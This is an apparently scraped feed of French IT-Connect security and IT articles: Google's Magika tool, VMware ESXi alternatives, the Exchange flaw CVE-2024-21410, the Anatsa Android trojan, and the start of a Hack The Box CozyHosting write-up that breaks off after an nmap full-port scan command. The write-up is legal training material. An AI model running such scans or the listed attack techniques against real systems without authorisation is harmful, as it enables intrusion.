<p><strong>Magika, c'est le nom du nouvel outil de Google mis à disposition de la communauté et qui permet d'identifier les types de fichiers, rapidement, grâce à l'intelligence artificielle. Voici ce qu'il faut savoir !</strong></p>



<p>Avec Magika, vous pouvez identifier facilement et rapidement les types de fichiers binaires et textuels. Déjà utilisé en interne par Google, il peut être utilisé par tout le monde dès à présent. Il s'installe sur une machine en locale en tant que paquet Python (via "<em>pip install magika</em>"), mais vous aussi l'utiliser à partir de <a href="https://google.github.io/magika/" target="_blank" rel="noopener nofollow" title="">ce site de démo</a>. "<em>Magika est déjà utilisé pour protéger des produits tels que Gmail, Drive et Safe Browsing, ainsi que par notre équipe VirusTotal</em>", <a href="https://blog.google/technology/safety-security/google-ai-cyber-defense-initiative/" target="_blank" rel="noopener nofollow" title="">précise Google</a>.</p>



<p>À partir d'un bel<strong> échantillon de 1 million de fichiers</strong>, Google a <strong>comparé les performances de Magika avec d'autres outils tels que Exiftool, Trid, File mime et File magic</strong>. L'entreprise américaine affirme que : "<em>Magika surpasse les méthodes conventionnelles d'identification de fichiers en offrant une augmentation globale de 30% de la précision et jusqu'à 95% de précision supplémentaire sur des contenus traditionnellement difficiles à identifier, mais potentiellement problématiques, tels que VBA, JavaScript et PowerShell</em>."</p>



<p><strong>Magika parvient à être plus performant grâce à l'intelligence artificielle</strong> et au fait qu'il a été entrainé sur énormément de données. Pour être plus précis, il s'appuie sur ce que l'on appelle un "<em>deep-learning model</em>" et il est capable d'<strong>identifier le type d'un fichier en quelques millisecondes</strong>. </p>



<p>Voici le tableau récapitulatif publié par Google sur <a href="https://opensource.googleblog.com/2024/02/magika-ai-powered-fast-and-efficient-file-type-identification.html" target="_blank" rel="noopener nofollow" title="">cette page</a> :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="637" src="media/0ba04e8f.Identifier-les-fichiers-avec-Magika.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika.jpg" alt="Identifier les fichiers avec Magika" class="wp-image-76487" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika-550x438.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika-150x119.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika-768x612.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Identifier-les-fichiers-avec-Magika-50x40.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Je n'ai pas encore testé cet outil, mais il me semble très intéressant ! Attention, nous parlons bien d'identifier le type d'un fichier, ce qui n'indique pas s'il s'agit d'un fichier malveillant ou non, même si cela peut être un premier signe. L'exemple ci-dessous, publié par Google, montre que l'outil peut afficher le résultat pour l'ensemble des fichiers contenus dans un dossier :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="600" height="399" src="media/3d7a8632.Magika-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Magika-Exemple.jpg" alt="Magika - Exemple" class="wp-image-76488" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Magika-Exemple.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Magika-Exemple-550x366.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Magika-Exemple-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Magika-Exemple-50x33.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></figure>



<p>Pour Google, le déploiement de l'intelligence artificielle à grande échelle au sein des outils et services va jouer un rôle au niveau de la cybersécurité et faire pencher la balance en faveur des défenseurs, face aux attaques.</p>



<p><strong>Qu'en pensez-vous ?</strong></p>



<p><a href="https://thehackernews.com/2024/02/google-open-sources-magika-ai-powered.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/magika-outil-open-source-google-identifier-fichiers-grace-a-ia/">Magika, un outil open source de Google pour identifier des fichiers grâce à l’IA</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76366
title: Quelles sont les alternatives à VMware ESXi Free ?
uri: Quelles-sont-les-alternatives-à-VMware-ESXi-Free
url: https://www.it-connect.fr/quelles-sont-les-alternatives-a-vmware-esxi-free/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p>Suite à son rachat par Broadcom, VMware a subi de nombreux changements qui sont impactants pour les clients, les utilisateurs et les distributeurs des solutions VMware. Dernière annonce en date : la <a href="https://www.it-connect.fr/broadcom-arrete-la-version-gratuite-hyperviseur-vmware-esxi/" target="_blank" rel="noopener" title="Broadcom a pris la décision d’arrêter la version gratuite de l’hyperviseur VMware ESXi !">fin de la version gratuite de VMware ESXi Free</a>, pourtant très répandue. En effet, elle pouvait être utilisée pour évaluer la solution sans limite de temps, bénéficier d'un environnement de test, déployer un serveur dédié dans le Cloud ou encore en production par certaines petites et moyennes entreprises.</p>



<p>Désormais, si vous utilisez VMware ESXi Free, vous avez deux options : passer sur une version payante de VMware ESXi ou se tourner vers une alternative. Dans cet article, nous allons évoquer ces fameuses alternatives (y compris certaines payantes), sans faire la promotion d'une solution plus qu'une autre. Libre à vous de les évaluer, même si nous essaierons de publier du contenu sur ces solutions dans les semaines et mois à venir...</p>



<h2 class="wp-block-heading">II. Les alternatives à VMware ESXi</h2>



<h3 class="wp-block-heading">A. Hyper-V</h3>



<p><strong>Hyper-V</strong>, c'est le nom de l'<strong>hyperviseur de Microsoft</strong>, disponible à la fois sur <strong>Windows Server</strong> et <strong>Windows </strong>(notamment sur Windows 10 et Windows 11), mais également en tant qu'Hyper-V Server, une version autonome, mais en fin de vie.</p>



<p>Le rôle <strong>Hyper-V est gratuit, </strong>cependant il a <strong>un impact sur le coût de la licence Windows Server</strong>. En effet, vous devez disposer d'une licence valide pour le système d'exploitation, mais en plus,<strong> votre licence Windows Server doit tenir compte du nombre de machines virtuelles que vous comptez déployer</strong> (une seule licence Windows Server Standard autorise 2 VM).</p>



<p>Hyper-V est une solution mature, avec de nombreuses fonctionnalités, et il est capable de faire tourner des machines sous Windows ou Linux. La gestion des machines virtuelles s'effectue avec la console Hyper-V, qui est une sorte de client lourd, mais aussi via Windows Admin Center et PowerShell. Lorsqu'un cluster Hyper-V est déployé, une seconde console dédiée est accessible à l'administrateur système.</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/windows-server/virtualization/hyper-v/hyper-v-on-windows-server?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Hyper-V</a></li>
</ul>



<figure class="wp-block-image size-full"><a href="media/ec29c1dc.image-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2.png"><img fetchpriority="high" decoding="async" width="800" height="506" src="media/ec29c1dc.image-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2.png" alt="" class="wp-image-76368" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2-550x348.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2-150x95.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2-768x486.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-2-50x32.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<h3 class="wp-block-heading">B. Proxmox VE</h3>



<p>Ces derniers temps, nous entendons beaucoup parler de Proxmox VE car cette solution pourrait profiter de la situation actuelle pour récupérer quelques utilisateurs de VMware. Lancée en 2008, Proxmox VE (<em>Virtual Environment</em>) est une plateforme de virtualisation open source adaptée pour la production et les entreprises. Elle prend en charge la création et la gestion de machines virtuelles, mais aussi de conteneurs.</p>



<p><strong>Proxmox VE est basé sur un noyau Linux</strong> et cette solution intègre deux technologies : <strong>KVM </strong>(<em>Kernel-based Virtual Machine</em> - En soit, c'est aussi une alternative) pour les machines virtuelles et <strong>LXC </strong>(<em>Linux Containers</em>) pour les conteneurs. La gestion s'effectue en ligne de commande ou à partir d'une interface web. En plus de ses fonctionnalités de virtualisation, Proxmox VE intègre également des fonctionnalités avancées telles que le clustering et la réplication. </p>



<p>Proxmox VE est largement utilisé dans le monde entier et bénéficie d'une communauté importante et active qui contribue à son développement. Aujourd'hui, c'est une solution de virtualisation à considérer au moment de faire son choix !</p>



<ul>
<li><a href="https://www.proxmox.com/en/" target="_blank" rel="noopener nofollow" title="">Site officiel de Proxmox</a></li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="450" src="media/0d923e0b.Proxmox-alternative-a-VMware-ESXi-800x450.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-800x450.jpg" alt="Proxmox alternative à VMware ESXi" class="wp-image-76371" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-800x450.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi-50x28.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Proxmox-alternative-a-VMware-ESXi.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Wikipédia</figcaption></figure>



<h3 class="wp-block-heading">C. XCP-ng</h3>



<p>Né en 2018, le projet XCP-ng est une <strong>plateforme de virtualisation open source</strong> basée sur <strong>XenServer</strong>. Au même titre que VMware ESXi, c'est un hyperviseur capable de gérer et de déployer des machines virtuelles. Cette solution a été créée en réponse aux limitations et aux restrictions de Citrix XenServer, notamment en ce qui concerne certaines fonctionnalités "premium". En tant que projet open source, XCP-ng bénéficie des contributions de développeurs du monde entier et d'une communauté grandissante.</p>



<p>L'administration de XCP-ng s'effectue au travers d'une application cliente (un client lourd), tout en étant compatible avec Xen Orchestra, une interface web intuitive pour administrer votre infrastructure de virtualisation. Au-delà d'être une alternative à VMware ESXi, XCP-ng est devenue une sérieuse alternative à une autre solution open source : Proxmox VE.</p>



<ul>
<li><a href="https://xcp-ng.org/" target="_blank" rel="noopener nofollow" title="">Site officiel de XCP-ng</a></li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="500" src="media/4aa5063e.XCP-ng-alternative-a-VMware-ESXi.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi.jpg" alt="XCP-ng alternative à VMware ESXi" class="wp-image-76372" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/XCP-ng-alternative-a-VMware-ESXi-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : XCP-ng</figcaption></figure>



<h3 class="wp-block-heading">D. Nutanix</h3>



<p>Dans le catalogue de solutions de chez Nutanix, la véritable alternative à VMware ESXi s'appelle <strong>Nutanix AHV</strong>, un hyperviseur destiné aux entreprises. Bien que ce soit une réelle alternative à ce que propose VMware, c'est une solution payante, donc ce n'est pas forcément ce que vous allez rechercher dans le cas présent.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="350" height="49" src="media/6bae61d9.Logo-Nutanix.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logo-Nutanix.png" alt="" class="wp-image-76373" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logo-Nutanix.png 350w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logo-Nutanix-150x21.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logo-Nutanix-50x7.png 50w" sizes="(max-width: 350px) 100vw, 350px" /></figure></div>


<p>Nutanix propose bien une solution gratuite et communautaire nommée <strong>Nutanix Community Edition</strong>. Toutefois, il s'agit d'une solution d'<strong>hyperconvergence</strong> (HCI) proposée par Nutanix, le leader sur ce marché. Même si elle est très intéressante, elle ne sera pas adaptée à toutes les situations.</p>



<ul>
<li><a href="https://www.nutanix.com/fr/products/ahv" target="_blank" rel="noopener nofollow" title="">Site officiel de Nutanix AHV</a></li>



<li><a href="https://www.nutanix.com/fr/products/community-edition" target="_blank" rel="noopener nofollow" title="">Site officiel de Nutanix CE</a></li>
</ul>



<h3 class="wp-block-heading">E. VergeIO</h3>



<p><strong>VergeIO se présente comme L'ALTERNATIVE à VMware</strong>, et c'est précisé dès que l'on arrive sur la page d'accueil du site officiel : "<em>Quittez VMware dès maintenant : 50 % moins cher - Meilleures performances - Migration transparente</em>".</p>



<p>VergeIO est une plateforme de virtualisation et d'infrastructure hyperconvergée qui vise à simplifier la gestion des centres de données et à réduire les coûts. Elle se présente sous la forme d'une solution tout-en-un qui combine les ressources de calcul, de stockage, de réseau et de virtualisation dans une seule plateforme. Il s'agit d'une solution propriétaire et payante, que vous pouvez essayer pendant 90 jours.</p>



<ul>
<li><a href="https://www.verge.io/" target="_blank" rel="noopener nofollow" title="">Site officiel de VergeIO</a></li>
</ul>



<figure class="wp-block-image size-large"><a href="media/b47737e2.VergeIO-alternative-VMware-ESXi.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi.jpg"><img decoding="async" width="800" height="361" src="media/9260822f.VergeIO-alternative-VMware-ESXi-800x361.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-800x361.jpg" alt="" class="wp-image-76374" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-800x361.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-550x248.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-150x68.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-768x347.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi-50x23.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/VergeIO-alternative-VMware-ESXi.jpg 1024w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Source : Verge.io</figcaption></figure>



<h3 class="wp-block-heading">F. oVirt</h3>



<p>Terminons par <strong>oVirt</strong>, une <strong>solution open source</strong> basée sur l'<strong>hyperviseur KVM</strong> au même titre que Proxmox. En complément, oVirt s'appuie aussi sur plusieurs autres projets communautaires, notamment libvirt, Gluster, PatternFly et Ansible.</p>



<p>L'interface web d'administration d'oVirt permet de gérer les machines virtuelles, mais également le stockage et le réseau virtuel. Cet hyperviseur prend en charge nativement des fonctionnalités avancées intéressantes : la migration en live des machines virtuelles et des disques entre les hôtes et le stockage, ainsi que la haute disponibilité entre plusieurs hyperviseurs.</p>



<ul>
<li><a href="https://www.ovirt.org/" target="_blank" rel="noopener nofollow" title="">Site officiel de oVirt</a></li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="708" height="398" src="media/f906f35a.oVirt-alternative-VMware-ESXi-Free.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/oVirt-alternative-VMware-ESXi-Free.jpg" alt="oVirt alternative VMware ESXi Free" class="wp-image-76376" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/oVirt-alternative-VMware-ESXi-Free.jpg 708w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/oVirt-alternative-VMware-ESXi-Free-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/oVirt-alternative-VMware-ESXi-Free-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/oVirt-alternative-VMware-ESXi-Free-50x28.jpg 50w" sizes="(max-width: 708px) 100vw, 708px" /></figure>



<h2 class="wp-block-heading">III. Conclusion</h2>



<p>Voilà, vous connaissez <strong>les noms des principales solutions qui peuvent prendre la place de VMware ESXi Free</strong>, même si vous pouvez aussi prendre la décision de rester sur VMware ESXi, en passant sur l'offre payante. Soyons honnête : c'est probablement le choix que feront certaines entreprises, mais sachez que des alternatives existent.</p>



<p>Si vous souhaitez <strong>donner votre avis</strong> sur une ou plusieurs de ces solutions,<strong> n'hésitez pas à commenter cet article</strong>. Si vous <strong>connaissez d'autres solutions viables</strong> pour remplacer VMware ESXi Free, c'est pareil, n'hésitez pas à partager l'information avec un commentaire.</p><p>The post <a href="https://www.it-connect.fr/quelles-sont-les-alternatives-a-vmware-esxi-free/">Quelles sont les alternatives à VMware ESXi Free ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76520
uri: CVE-2024-21410-Au-moins-28-500-serveurs-Exchange-vulnérables-à-c
title:
CVE-2024-21410 – Au moins 28 500 serveurs Exchange vulnérables à cette faille de sécurité exploitée !

url:
https://www.it-connect.fr/cve-2024-21410-au-moins-28-500-exchange-vulnerables-faille-de-securite-exploitee/

content:
<p>À<strong> l'heure où ces lignes sont écrites, il y a au moins 28 500 serveurs de messagerie Exchange vulnérables à la nouvelle faille de sécurité critique CVE-2024-21410 patchée la semaine dernière par Microsoft. En réalité, le nombre de serveurs vulnérables pourrait être beaucoup plus élevé. Faisons le point !</strong></p>



<p>À l'occasion de son <a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 failles de sécurité zero-day !">Patch Tuesday de Février 2024</a>, Microsoft a corrigé 73 failles de sécurité, ainsi que plusieurs failles zero-day. C'est notamment le cas de la <a href="https://www.it-connect.fr/microsoft-exchange-une-nouvelle-faille-zero-day-cve-2024-21410/" target="_blank" rel="noopener nofollow" title="">CVE-2024-21410</a>, car cette vulnérabilité présente dans Microsoft Exchange Server a été exploitée par les pirates en tant que faille zero-day avant qu'elle ne soit patchée.</p>



<p>Associée à un score CVSS v3.1 de 9.8 sur 10, cette faille de sécurité critique permet à un <strong>attaquant non authentifié</strong> d'<strong>élever ses privilèges</strong> en s'appuyant sur une <strong>attaque par relais NTLM</strong> ciblant un serveur Microsoft Exchange vulnérable.</p>



<p>Comme souvent, le service de monitoring<strong> The Shadowserver a mis en ligne <a href="https://www.linkedin.com/posts/the-shadowserver-foundation_cybersecurity-vulnerabilitymanagement-vulnerability-activity-7165324477315198976-vW2P?utm_source=share&amp;utm_medium=member_desktop" target="_blank" rel="noopener nofollow" title="">quelques statistiques intéressantes</a></strong> pour nous indiquer combien il y a de machines potentielles vulnérables. Les serveurs Exchange étant, généralement, exposés sur Internet, il est possible de les sonder et de récupérer le numéro de version. </p>



<p>Ainsi, <strong>sur un total de 97 000 serveurs Exchange identifiés, il y a 28 500 serveurs qui sont vulnérables à la vulnérabilité CVE-2024-21410.</strong> Pour environ 68 500 serveurs, l'état est inconnu puisque cela dépend si les administrateurs ont appliqué ou non les mesures d'atténuation. Nous pouvons imaginer que c'est le cas pour une partie des serveurs, mais pas pour tous... Ce qui augmente forcément le nombre de serveurs vulnérables.</p>



<h2 class="wp-block-heading">La France, dans le Top 5</h2>



<p>En ce qui concerne les pays avec le plus de serveurs Exchange vulnérables, The Shadowserver a publié une liste sur <a href="https://dashboard.shadowserver.org/statistics/combined/visualisation/?date_range=1&amp;source=exchange&amp;source=exchange6&amp;tag=cve-2024-21410%2B&amp;tag=possible-cve-2024-21410%2B&amp;dataset=unique_ips&amp;limit=20&amp;group_by=geo&amp;count_as=avg&amp;scale=lin&amp;style=table" target="_blank" rel="noopener nofollow" title="">cette page</a>. <strong>Voici le Top 5 :</strong></p>



<figure class="wp-block-table"><table><thead><tr><th>Pays</th><th>Nombre d'adresses IP uniques</th></tr></thead><tbody><tr><td>Allemagne</td><td>22 903</td></tr><tr><td>États-Unis</td><td>19 434</td></tr><tr><td>Royaume-Uni</td><td>3 665</td></tr><tr><td>Pays-Bas</td><td>3 108</td></tr><tr><td>France</td><td>3 074</td></tr></tbody></table></figure>



<p>Nous savons que<strong> cette vulnérabilité est exploitée dans le cadre d'attaques</strong>. À l'heure actuelle, <strong>aucun exploit PoC public semble être disponible</strong>. Pour autant, il convient de se protéger dès que possible.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Sur <strong>Exchange Server 2019</strong>, vous devez <strong>installer la Cumulatice Update 14 (CU14) pour vous protéger</strong>. Pour en savoir plus sur cette vulnérabilité, et savoir comment se protéger sur les différentes versions d'Exchange Server, consultez notre article ci-dessous :</p>



<ul>
<li><a href="https://www.it-connect.fr/microsoft-exchange-une-nouvelle-faille-zero-day-cve-2024-21410/" target="_blank" rel="noopener" title="Microsoft Exchange affecté par une nouvelle faille zero-day : CVE-2024-21410">Exchange Server - CVE-2024-21410 - Se protéger</a></li>
</ul>



<p><a href="https://www.bleepingcomputer.com/news/security/over-28-500-exchange-servers-vulnerable-to-actively-exploited-bug/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/cve-2024-21410-au-moins-28-500-exchange-vulnerables-faille-de-securite-exploitee/">CVE-2024-21410 – Au moins 28 500 serveurs Exchange vulnérables à cette faille de sécurité exploitée !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76503
title: En Europe, le malware Anatsa a déjà infecté plus de 150 000 appareils Android
uri: En-Europe-le-malware-Anatsa-a-déjà-infecté-plus-de-150-000-apparei
url:
https://www.it-connect.fr/en-europe-le-malware-anatsa-a-deja-infecte-plus-de-150-000-appareils-android/

content:
<p><strong>Depuis plusieurs mois, le cheval de Troie bancaire Anatsa cible les appareils Android, et plus particulièrement les utilisateurs européens ! Pour se propager, il s'appuie sur des applications malveillantes diffusées par le Google Play Store. Faisons le point sur cette menace.</strong></p>



<p>Les chercheurs en sécurité de ThreatFabric ont mis en ligne un rapport pour alerte sur l'activité du Trojan Anatsa. D'après eux, depuis le mois de novembre 2023, il est très actif et il a déjà <strong>infecté les appareils de 150 000 utilisateurs européens</strong>. Quand il est en place, Anatsa a pour objectif de voler vos identifiants bancaires pour vider vos comptes.</p>



<p>On parle de <strong>cinq campagnes différentes</strong> lancées à l'encontre des utilisateurs situés au Royaume-Uni, en Allemagne, en Espagne, en Slovaquie, en Slovénie et en République tchèque. <strong>Chaque campagne a pour objectif de cibler une zone géographique bien précise.</strong> Même si cela s'est intensifié ces derniers mois, ce n'est pas la première fois qu'Anatsa s'en prend aux utilisateurs européens. Le rapport technique de TheatFabric est disponible sur <a href="https://www.threatfabric.com/blogs/anatsa-trojan-returns-targeting-europe-and-expanding-its-reach" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p>À chaque fois, l'application publiée sur le Google Play Store sert d'appât et de "<strong>dropper</strong>" pour distribuer le malware sur les appareils des victimes. Il  s'agit d'<strong>un processus d'infection en plusieurs étapes qui permet de contourner les mesures de protection d'Android</strong>, jusqu'à Android 13. Par exemple, la technique employée par Anatsa abuse du service d'accessibilité d'Android en prétextant la nécessité d'avoir une autorisation d'accès pour hiberner les applications gourmandes en batterie.</p>



<p>Les chercheurs de ThreatFabric évoquent plusieurs applications utilisées dans le cadre de ces campagnes, notamment "<strong>Phone Cleaner – File Explorer</strong>" avec environ <strong>10 000 téléchargements</strong>, et "<strong>PDF Reader: File Manager</strong>" avec <strong>plus de 100 000 téléchargements</strong>. Au total, les différents apps cumulent plus de 150 000 téléchargements, soit autant de victimes potentielles.</p>



<p>Voici la liste des 5 applications utilisées :</p>



<ol>
<li><strong>Phone Cleaner - File Explorer</strong>&nbsp;(com.volabs.androidcleaner)</li>



<li><strong>PDF Viewer - File Explorer</strong>&nbsp;(com.xolab.fileexplorer)</li>



<li><strong>PDF Reader - Viewer &amp; Editor</strong>&nbsp;(com.jumbodub.fileexplorerpdfviewer)</li>



<li><strong>Phone Cleaner: File Explorer</strong>&nbsp;(com.appiclouds.phonecleaner)</li>



<li><strong>PDF Reader: File Manager</strong>&nbsp;(com.tragisoap.fileandpdfmanager)</li>
</ol>



<p>Méfiez-vous avant d'installer des applications, même lorsque c'est sur le Play Store : lisez les avis, consultez l'historique, etc... Avant de cliquer sur le bouton "<strong>Installer</strong>".</p>



<p><a href="https://www.bleepingcomputer.com/news/security/anatsa-android-malware-downloaded-150-000-times-via-google-play/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/en-europe-le-malware-anatsa-a-deja-infecte-plus-de-150-000-appareils-android/">En Europe, le malware Anatsa a déjà infecté plus de 150 000 appareils Android</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74054
title: Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-CozyHosting-outils-méthodes-et-r
url: https://www.it-connect.fr/hack-the-box-resoudre-la-box-cozyhosting/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile"</strong>.</p>


<div class="wp-block-image">
<figure class="alignright size-full is-resized"><img fetchpriority="high" decoding="async" width="695" height="572" src="media/c11319ed.hackthebox-writeup-cozyhosting.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting.png" alt="" class="wp-image-74056" style="width:388px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting.png 695w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-550x453.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-150x123.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-50x41.png 50w" sizes="(max-width: 695px) 100vw, 695px" /></figure></div>


<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le <strong>compte root ou administrateur.</strong></p>



<p>Ces exercices permettent de s’entraîner <strong>légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.</p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noreferrer noopener">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies/attaques abordées</strong></td><td>Linux, Web, Springboot, PostgreSQL, RCE (<em>Remote Command Execution</em>), Vol de session, sudo escape</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, ssh, curl, nuclei, psql, johntheripper, sudo</td></tr></tbody></table></figure>



<p><strong>Retrouvez tous nos articles Hack The Box via ce lien :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/tag/hack-the-box/" target="_blank" rel="noopener" title="">IT-Connect - Articles Hack The Box</a></li>
</ul>



<h2 class="wp-block-heading">II. Résolution de la box CozyHosting</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noopener nofollow" title="">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noreferrer noopener">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.230  
PORT   STATE SERVICE VERSION
